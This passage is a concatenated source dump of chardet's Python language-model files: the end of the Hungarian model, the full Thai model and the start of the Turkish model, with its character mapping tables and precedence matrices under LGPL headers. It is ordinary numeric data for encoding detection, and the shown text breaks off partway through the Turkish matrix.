2,2,2,0,0,1,0,0,2,2,1,1,0,0,2,1,1,0,0,0,1,2,0,0,2,1,0,0,2,1,1,1, 2,1,1,1,1,2,1,2,1,1,1,2,2,1,1,2,1,1,1,2,1,1,1,1,1,1,1,1,1,1,0,1, 1,2,3,0,0,0,1,0,3,2,1,0,0,1,2,1,1,0,0,0,0,2,1,0,1,1,0,0,2,1,2,1, 1,1,0,0,0,1,0,1,1,1,1,1,2,0,0,1,0,0,0,2,0,0,1,1,1,1,1,1,1,1,0,1, 3,0,0,2,1,2,2,1,0,0,2,1,2,2,0,0,0,2,1,1,1,0,1,1,0,0,1,1,2,0,0,0, 1,2,1,2,2,1,1,2,1,2,0,1,1,1,1,1,1,1,1,1,2,1,1,0,0,1,1,1,1,0,0,1, 1,3,2,0,0,0,1,0,2,2,2,0,0,0,2,2,1,0,0,0,0,3,1,1,1,1,0,0,2,1,1,1, 2,1,0,1,1,1,0,1,1,1,1,1,1,1,0,2,1,0,0,1,0,1,1,0,1,1,1,1,1,1,0,1, 2,3,2,0,0,0,1,0,2,2,0,0,0,0,2,1,1,0,0,0,0,2,1,0,1,1,0,0,2,1,1,0, 2,1,1,1,1,2,1,2,1,2,0,1,1,1,0,2,1,1,1,2,1,1,1,1,0,1,1,1,1,1,0,1, 3,1,1,2,2,2,3,2,1,1,2,2,1,1,0,1,0,2,2,1,1,1,1,1,0,0,1,1,0,1,1,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,0,0,0,0,0,2,2,0,0,0,0,2,2,1,0,0,0,1,1,0,0,1,2,0,0,2,1,1,1, 2,2,1,1,1,2,1,2,1,1,0,1,1,1,1,2,1,1,1,2,1,1,1,1,0,1,2,1,1,1,0,1, 1,0,0,1,2,3,2,1,0,0,2,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0, 1,2,1,2,1,2,1,1,1,2,0,2,1,1,1,0,1,2,0,0,1,1,1,0,0,0,0,0,0,0,0,0, 2,3,2,0,0,0,0,0,1,1,2,1,0,0,1,1,1,0,0,0,0,2,0,0,1,1,0,0,2,1,1,1, 2,1,1,1,1,1,1,2,1,0,1,1,1,1,0,2,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1, 1,2,2,0,1,1,1,0,2,2,2,0,0,0,3,2,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0, 1,1,0,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,0,0,1,1,1,0,1,0,1, 2,1,0,2,1,1,2,2,1,1,2,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0, 1,2,2,2,2,2,1,1,1,2,0,2,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,1,0, 1,2,3,0,0,0,1,0,2,2,0,0,0,0,2,2,0,0,0,0,0,1,0,0,1,0,0,0,2,0,1,0, 2,1,1,1,1,1,0,2,0,0,0,1,2,1,1,1,1,0,1,2,0,1,0,1,0,1,1,1,0,1,0,1, 2,2,2,0,0,0,1,0,2,1,2,0,0,0,1,1,2,0,0,0,0,1,0,0,1,1,0,0,2,1,0,1, 2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,0,1,1,1,1,1,0,1, 1,2,2,0,0,0,1,0,2,2,2,0,0,0,1,1,0,0,0,0,0,1,1,0,2,0,0,1,1,1,0,1, 1,0,1,1,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,1,0,1,0,1,1,1,1,1,0,0,0,1, 1,0,0,1,0,1,2,1,0,0,1,1,1,2,0,0,0,1,1,0,1,0,1,1,0,0,1,0,0,0,0,0, 0,2,1,2,1,1,1,1,1,2,0,2,0,1,1,0,1,2,1,0,1,1,1,0,0,0,0,0,0,1,0,0, 2,1,1,0,1,2,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,2,1,0,1, 2,2,1,1,1,1,1,2,1,1,0,1,1,1,1,2,1,1,1,2,1,1,0,1,0,1,1,1,1,1,0,1, 1,2,2,0,0,0,0,0,1,1,0,0,0,0,2,1,0,0,0,0,0,2,0,0,2,2,0,0,2,0,0,1, 2,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1, 1,1,2,0,0,3,1,0,2,1,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0, 1,2,1,0,1,1,1,2,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0, 2,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,2,0,0,0, 2,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,2,1,1,0,0,1,1,1,1,1,0,1, 2,1,1,1,2,1,1,1,0,1,1,2,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,1,0,1,1,1,1,1,0,0,1,1,2,1,0,0,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0, 1,2,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0, 2,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,2,0,0,1,0,0,1,0,1,0,0,0, 0,1,1,1,1,1,1,1,1,2,0,1,1,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, 1,0,0,1,1,1,1,1,0,0,2,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0, 0,1,1,1,1,1,1,0,1,1,0,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0, 1,0,0,1,1,1,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, 0,0,0,1,0,0,0,0,0,0,1,1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,1,1,1,0,1,0,0,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, 2,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,1,1,0,0,1,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0, 0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0, ) Latin2HungarianModel = { 'char_to_order_map': Latin2_HungarianCharToOrderMap, 'precedence_matrix': HungarianLangModel, 'typical_positive_ratio': 0.947368, 'keep_english_letter': True, 'charset_name': "ISO-8859-2", 'language': 'Hungarian', } Win1250HungarianModel = { 'char_to_order_map': win1250HungarianCharToOrderMap, 'precedence_matrix': HungarianLangModel, 'typical_positive_ratio': 0.947368, 'keep_english_letter': True, 'charset_name': "windows-1250", 'language': 'Hungarian', } ================================================ FILE: thirdparty/chardet/langthaimodel.py ================================================ ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 # The following result for thai was collected from a limited sample (1M). # Character Mapping Table: TIS620CharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,254,255,255,254,255,255, # 00 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, # 10 253,253,253,253,253,253,253,253,253,253,253,253,253,253,253,253, # 20 252,252,252,252,252,252,252,252,252,252,253,253,253,253,253,253, # 30 253,182,106,107,100,183,184,185,101, 94,186,187,108,109,110,111, # 40 188,189,190, 89, 95,112,113,191,192,193,194,253,253,253,253,253, # 50 253, 64, 72, 73,114, 74,115,116,102, 81,201,117, 90,103, 78, 82, # 60 96,202, 91, 79, 84,104,105, 97, 98, 92,203,253,253,253,253,253, # 70 209,210,211,212,213, 88,214,215,216,217,218,219,220,118,221,222, 223,224, 99, 85, 83,225,226,227,228,229,230,231,232,233,234,235, 236, 5, 30,237, 24,238, 75, 8, 26, 52, 34, 51,119, 47, 58, 57, 49, 53, 55, 43, 20, 19, 44, 14, 48, 3, 17, 25, 39, 62, 31, 54, 45, 9, 16, 2, 61, 15,239, 12, 42, 46, 18, 21, 76, 4, 66, 63, 22, 10, 1, 36, 23, 13, 40, 27, 32, 35, 86,240,241,242,243,244, 11, 28, 41, 29, 33,245, 50, 37, 6, 7, 67, 77, 38, 93,246,247, 68, 56, 59, 65, 69, 60, 70, 80, 71, 87,248,249,250,251,252,253, ) # Model Table: # total sequences: 100% # first 512 sequences: 92.6386% # first 1024 sequences:7.3177% # rest sequences: 1.0230% # negative sequences: 0.0436% ThaiLangModel = ( 0,1,3,3,3,3,0,0,3,3,0,3,3,0,3,3,3,3,3,3,3,3,0,0,3,3,3,0,3,3,3,3, 0,3,3,0,0,0,1,3,0,3,3,2,3,3,0,1,2,3,3,3,3,0,2,0,2,0,0,3,2,1,2,2, 3,0,3,3,2,3,0,0,3,3,0,3,3,0,3,3,3,3,3,3,3,3,3,0,3,2,3,0,2,2,2,3, 0,2,3,0,0,0,0,1,0,1,2,3,1,1,3,2,2,0,1,1,0,0,1,0,0,0,0,0,0,0,1,1, 3,3,3,2,3,3,3,3,3,3,3,3,3,3,3,2,2,2,2,2,2,2,3,3,2,3,2,3,3,2,2,2, 3,1,2,3,0,3,3,2,2,1,2,3,3,1,2,0,1,3,0,1,0,0,1,0,0,0,0,0,0,0,1,1, 3,3,2,2,3,3,3,3,1,2,3,3,3,3,3,2,2,2,2,3,3,2,2,3,3,2,2,3,2,3,2,2, 3,3,1,2,3,1,2,2,3,3,1,0,2,1,0,0,3,1,2,1,0,0,1,0,0,0,0,0,0,1,0,1, 3,3,3,3,3,3,2,2,3,3,3,3,2,3,2,2,3,3,2,2,3,2,2,2,2,1,1,3,1,2,1,1, 3,2,1,0,2,1,0,1,0,1,1,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0, 3,3,3,2,3,2,3,3,2,2,3,2,3,3,2,3,1,1,2,3,2,2,2,3,2,2,2,2,2,1,2,1, 2,2,1,1,3,3,2,1,0,1,2,2,0,1,3,0,0,0,1,1,0,0,0,0,0,2,3,0,0,2,1,1, 3,3,2,3,3,2,0,0,3,3,0,3,3,0,2,2,3,1,2,2,1,1,1,0,2,2,2,0,2,2,1,1, 0,2,1,0,2,0,0,2,0,1,0,0,1,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0, 3,3,2,3,3,2,0,0,3,3,0,2,3,0,2,1,2,2,2,2,1,2,0,0,2,2,2,0,2,2,1,1, 0,2,1,0,2,0,0,2,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0, 3,3,2,3,2,3,2,0,2,2,1,3,2,1,3,2,1,2,3,2,2,3,0,2,3,2,2,1,2,2,2,2, 1,2,2,0,0,0,0,2,0,1,2,0,1,1,1,0,1,0,3,1,1,0,0,0,0,0,0,0,0,0,1,0, 3,3,2,3,3,2,3,2,2,2,3,2,2,3,2,2,1,2,3,2,2,3,1,3,2,2,2,3,2,2,2,3, 3,2,1,3,0,1,1,1,0,2,1,1,1,1,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,2,0,0, 1,0,0,3,0,3,3,3,3,3,0,0,3,0,2,2,3,3,3,3,3,0,0,0,1,1,3,0,0,0,0,2, 0,0,1,0,0,0,0,0,0,0,2,3,0,0,0,3,0,2,0,0,0,0,0,3,0,0,0,0,0,0,0,0, 2,0,3,3,3,3,0,0,2,3,0,0,3,0,3,3,2,3,3,3,3,3,0,0,3,3,3,0,0,0,3,3, 0,0,3,0,0,0,0,2,0,0,2,1,1,3,0,0,1,0,0,2,3,0,1,0,0,0,0,0,0,0,1,0, 3,3,3,3,2,3,3,3,3,3,3,3,1,2,1,3,3,2,2,1,2,2,2,3,1,1,2,0,2,1,2,1, 2,2,1,0,0,0,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0, 3,0,2,1,2,3,3,3,0,2,0,2,2,0,2,1,3,2,2,1,2,1,0,0,2,2,1,0,2,1,2,2, 0,1,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,2,1,3,3,1,1,3,0,2,3,1,1,3,2,1,1,2,0,2,2,3,2,1,1,1,1,1,2, 3,0,0,1,3,1,2,1,2,0,3,0,0,0,1,0,3,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0, 3,3,1,1,3,2,3,3,3,1,3,2,1,3,2,1,3,2,2,2,2,1,3,3,1,2,1,3,1,2,3,0, 2,1,1,3,2,2,2,1,2,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2, 3,3,2,3,2,3,3,2,3,2,3,2,3,3,2,1,0,3,2,2,2,1,2,2,2,1,2,2,1,2,1,1, 2,2,2,3,0,1,3,1,1,1,1,0,1,1,0,2,1,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,2,3,2,2,1,1,3,2,3,2,3,2,0,3,2,2,1,2,0,2,2,2,1,2,2,2,2,1, 3,2,1,2,2,1,0,2,0,1,0,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1, 3,3,3,3,3,2,3,1,2,3,3,2,2,3,0,1,1,2,0,3,3,2,2,3,0,1,1,3,0,0,0,0, 3,1,0,3,3,0,2,0,2,1,0,0,3,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,2,3,2,3,3,0,1,3,1,1,2,1,2,1,1,3,1,1,0,2,3,1,1,1,1,1,1,1,1, 3,1,1,2,2,2,2,1,1,1,0,0,2,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 3,2,2,1,1,2,1,3,3,2,3,2,2,3,2,2,3,1,2,2,1,2,0,3,2,1,2,2,2,2,2,1, 3,2,1,2,2,2,1,1,1,1,0,0,1,1,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,3,3,3,3,1,3,3,0,2,1,0,3,2,0,0,3,1,0,1,1,0,1,0,0,0,0,0,1, 1,0,0,1,0,3,2,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,2,2,2,3,0,0,1,3,0,3,2,0,3,2,2,3,3,3,3,3,1,0,2,2,2,0,2,2,1,2, 0,2,3,0,0,0,0,1,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1, 3,0,2,3,1,3,3,2,3,3,0,3,3,0,3,2,2,3,2,3,3,3,0,0,2,2,3,0,1,1,1,3, 0,0,3,0,0,0,2,2,0,1,3,0,1,2,2,2,3,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1, 3,2,3,3,2,0,3,3,2,2,3,1,3,2,1,3,2,0,1,2,2,0,2,3,2,1,0,3,0,0,0,0, 3,0,0,2,3,1,3,0,0,3,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,1,3,2,2,2,1,2,0,1,3,1,1,3,1,3,0,0,2,1,1,1,1,2,1,1,1,0,2,1,0,1, 1,2,0,0,0,3,1,1,0,0,0,0,1,0,1,0,0,1,0,1,0,0,0,0,0,3,1,0,0,0,1,0, 3,3,3,3,2,2,2,2,2,1,3,1,1,1,2,0,1,1,2,1,2,1,3,2,0,0,3,1,1,1,1,1, 3,1,0,2,3,0,0,0,3,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,2,3,0,3,3,0,2,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,0,0,0,0,0, 0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,2,3,1,3,0,0,1,2,0,0,2,0,3,3,2,3,3,3,2,3,0,0,2,2,2,0,0,0,2,2, 0,0,1,0,0,0,0,3,0,0,0,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 0,0,0,3,0,2,0,0,0,0,0,0,0,0,0,0,1,2,3,1,3,3,0,0,1,0,3,0,0,0,0,0, 0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,1,2,3,1,2,3,1,0,3,0,2,2,1,0,2,1,1,2,0,1,0,0,1,1,1,1,0,1,0,0, 1,0,0,0,0,1,1,0,3,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,3,3,2,1,0,1,1,1,3,1,2,2,2,2,2,2,1,1,1,1,0,3,1,0,1,3,1,1,1,1, 1,1,0,2,0,1,3,1,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,2,0,1, 3,0,2,2,1,3,3,2,3,3,0,1,1,0,2,2,1,2,1,3,3,1,0,0,3,2,0,0,0,0,2,1, 0,1,0,0,0,0,1,2,0,1,1,3,1,1,2,2,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0, 0,0,3,0,0,1,0,0,0,3,0,0,3,0,3,1,0,1,1,1,3,2,0,0,0,3,0,0,0,0,2,0, 0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, 3,3,1,3,2,1,3,3,1,2,2,0,1,2,1,0,1,2,0,0,0,0,0,3,0,0,0,3,0,0,0,0, 3,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,1,2,0,3,3,3,2,2,0,1,1,0,1,3,0,0,0,2,2,0,0,0,0,3,1,0,1,0,0,0, 0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,2,3,1,2,0,0,2,1,0,3,1,0,1,2,0,1,1,1,1,3,0,0,3,1,1,0,2,2,1,1, 0,2,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,0,3,1,2,0,0,2,2,0,1,2,0,1,0,1,3,1,2,1,0,0,0,2,0,3,0,0,0,1,0, 0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,1,1,2,2,0,0,0,2,0,2,1,0,1,1,0,1,1,1,2,1,0,0,1,1,1,0,2,1,1,1, 0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1, 0,0,0,2,0,1,3,1,1,1,1,0,0,0,0,3,2,0,1,0,0,0,1,2,0,0,0,1,0,0,0,0, 0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,3,3,3,3,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,0,2,3,2,2,0,0,0,1,0,0,0,0,2,3,2,1,2,2,3,0,0,0,2,3,1,0,0,0,1,1, 0,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0, 3,3,2,2,0,1,0,0,0,0,2,0,2,0,1,0,0,0,1,1,0,0,0,2,1,0,1,0,1,1,0,0, 0,1,0,2,0,0,1,0,3,0,1,0,0,0,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,1,0,0,1,0,0,0,0,0,1,1,2,0,0,0,0,1,0,0,1,3,1,0,0,0,0,1,1,0,0, 0,1,0,0,0,0,3,0,0,0,0,0,0,3,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0, 3,3,1,1,1,1,2,3,0,0,2,1,1,1,1,1,0,2,1,1,0,0,0,2,1,0,1,2,1,1,0,1, 2,1,0,3,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,3,1,0,0,0,0,0,0,0,3,0,0,0,3,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1, 0,0,0,2,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,3,2,0,0,0,0,0,0,1,2,1,0,1,1,0,2,0,0,1,0,0,2,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,2,0,0,0,1,3,0,1,0,0,0,2,0,0,0,0,0,0,0,1,2,0,0,0,0,0, 3,3,0,0,1,1,2,0,0,1,2,1,0,1,1,1,0,1,1,0,0,2,1,1,0,1,0,0,1,1,1,0, 0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,3,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,2,2,1,0,0,0,0,1,0,0,0,0,3,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0, 2,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,3,0,0,1,1,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 1,1,0,1,2,0,1,2,0,0,1,1,0,2,0,1,0,0,1,0,0,0,0,1,0,0,0,2,0,0,0,0, 1,0,0,1,0,1,1,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,1,0,0,0,0,0,0,0,1,1,0,1,1,0,2,1,3,0,0,0,0,1,1,0,0,0,0,0,0,0,3, 1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,1,0,1,0,0,2,0,0,2,0,0,1,1,2,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,0, 1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, 1,0,0,3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 3,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,1,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,3,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,0,0,0,2,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,3,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,1,0,0,0,0, 1,0,0,0,0,0,0,0,0,1,0,0,0,0,2,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,1,1,0,0,2,1,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, ) TIS620ThaiModel = { 'char_to_order_map': TIS620CharToOrderMap, 'precedence_matrix': ThaiLangModel, 'typical_positive_ratio': 0.926386, 'keep_english_letter': False, 'charset_name': "TIS-620", 'language': 'Thai', } ================================================ FILE: thirdparty/chardet/langturkishmodel.py ================================================ # -*- coding: utf-8 -*- ######################## BEGIN LICENSE BLOCK ######################## # The Original Code is Mozilla Communicator client code. # # The Initial Developer of the Original Code is # Netscape Communications Corporation. # Portions created by the Initial Developer are Copyright (C) 1998 # the Initial Developer. All Rights Reserved. # # Contributor(s): # Mark Pilgrim - port to Python # Özgür Baskın - Turkish Language Model # # This library is free software; you can redistribute it and/or # modify it under the terms of the GNU Lesser General Public # License as published by the Free Software Foundation; either # version 2.1 of the License, or (at your option) any later version. # # This library is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # Lesser General Public License for more details. # # You should have received a copy of the GNU Lesser General Public # License along with this library; if not, write to the Free Software # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA # 02110-1301 USA ######################### END LICENSE BLOCK ######################### # 255: Control characters that usually does not exist in any text # 254: Carriage/Return # 253: symbol (punctuation) that does not belong to word # 252: 0 - 9 # Character Mapping Table: Latin5_TurkishCharToOrderMap = ( 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, 255,255,255,255,255,255,255,255,255,255,255,255,255,255,255,255, 255, 23, 37, 47, 39, 29, 52, 36, 45, 53, 60, 16, 49, 20, 46, 42, 48, 69, 44, 35, 31, 51, 38, 62, 65, 43, 56,255,255,255,255,255, 255, 1, 21, 28, 12, 2, 18, 27, 25, 3, 24, 10, 5, 13, 4, 15, 26, 64, 7, 8, 9, 14, 32, 57, 58, 11, 22,255,255,255,255,255, 180,179,178,177,176,175,174,173,172,171,170,169,168,167,166,165, 164,163,162,161,160,159,101,158,157,156,155,154,153,152,151,106, 150,149,148,147,146,145,144,100,143,142,141,140,139,138,137,136, 94, 80, 93,135,105,134,133, 63,132,131,130,129,128,127,126,125, 124,104, 73, 99, 79, 85,123, 54,122, 98, 92,121,120, 91,103,119, 68,118,117, 97,116,115, 50, 90,114,113,112,111, 55, 41, 40, 86, 89, 70, 59, 78, 71, 82, 88, 33, 77, 66, 84, 83,110, 75, 61, 96, 30, 67,109, 74, 87,102, 34, 95, 81,108, 76, 72, 17, 6, 19,107, ) TurkishLangModel = ( 3,2,3,3,3,1,3,3,3,3,3,3,3,3,2,1,1,3,3,1,3,3,0,3,3,3,3,3,0,3,1,3, 3,2,1,0,0,1,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,2,2,0,0,1,0,0,1, 3,2,2,3,3,0,3,3,3,3,3,3,3,2,3,1,0,3,3,1,3,3,0,3,3,3,3,3,0,3,0,3, 3,1,1,0,1,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,2,2,0,0,0,1,0,1, 3,3,2,3,3,0,3,3,3,3,3,3,3,2,3,1,1,3,3,0,3,3,1,2,3,3,3,3,0,3,0,3, 